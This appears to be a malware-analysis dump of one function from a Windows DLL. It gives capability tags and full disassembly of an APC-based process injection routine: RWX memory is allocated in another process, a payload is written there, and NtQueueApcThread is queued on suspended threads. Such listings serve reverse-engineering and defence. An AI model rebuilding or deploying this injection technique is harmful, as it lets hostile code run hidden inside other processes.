Function at 0x10005ff0
Capabilities:
Allocate or change rwx memory
Enumerate threads
Execute shellcode via indirect call
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1e0
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x20], eax
push 6
xor eax, eax
mov esi, ecx
pop ecx
lea edi, [ebp - 0x4c]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor ebx, ebx
push 0x18c
stosd dword es:[edi], eax
lea eax, [ebp - 0x1dc]
push ebx
push eax
mov dword [ebp - 0x1e0], ebx
call fcn.10018c40
mov eax, dword [ebp - 0x20]
add esp, 0xc
push str.ntdll
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x10], eax
mov byte [ebp - 8], bl
mov dword [ebp - 0x50], 0x1c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x34], eax
cmp eax, ebx
jne 0x10006077
xor eax, eax
jmp 0x100061ac
push str.NtQueueApcThread
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x30], eax
cmp eax, ebx
je 0x10006070
push ebx
push 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x20], eax
cmp eax, ebx
je 0x10006070
lea ecx, [ebp - 0x50]
push ecx
push eax
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x10006070
push 0x40
push 0x3000
push 0x109
push ebx
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x2c], eax
cmp eax, ebx
je 0x10006070
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ebx
push 0xf5
push 0x10032030
push eax
push dword [ebp - 0x24]
lea edi, [eax + 0xf5]
call esi
test eax, eax
je 0x10006070
push ebx
push 0x14
lea eax, [ebp - 0x18]
push eax
push edi
push dword [ebp - 0x24]
call esi
test eax, eax
je 0x10006070
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp + 0xc]
jne 0x1000615c
push dword [ebp - 0x48]
push ebx
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, eax
cmp esi, ebx
je 0x1000615c
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x10006159
mov ecx, dword [ebp - 0x1c]
inc dword [ebp - 0x1c]
mov dword [ebp + ecx*4 - 0x1e0], esi
cmp eax, ebx
jne 0x1000615c
mov eax, dword [ebp - 0x2c]
push ebx
push ebx
add eax, 0xf5
push eax
push dword [ebp - 0x2c]
push esi
call dword [ebp - 0x30]
test eax, eax
jne 0x1000615c
mov dword [ebp - 0x28], 1
jmp 0x1000615c
push esi
call edi
lea eax, [ebp - 0x50]
push eax
push dword [ebp - 0x20]
call sub.KERNEL32.dll_Thread32Next
test eax, eax
je 0x10006172
cmp dword [ebp - 0x1c], 0x64
jl 0x10006100
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
cmp dword [ebp - 0x1c], ebx
jle 0x1000619b
mov ebx, dword [ebp + esi*4 - 0x1e0]
push ebx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push ebx
call edi
inc esi
cmp esi, dword [ebp - 0x1c]
jl 0x10006184
push dword [ebp - 0x20]
call edi
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001517d
leave
ret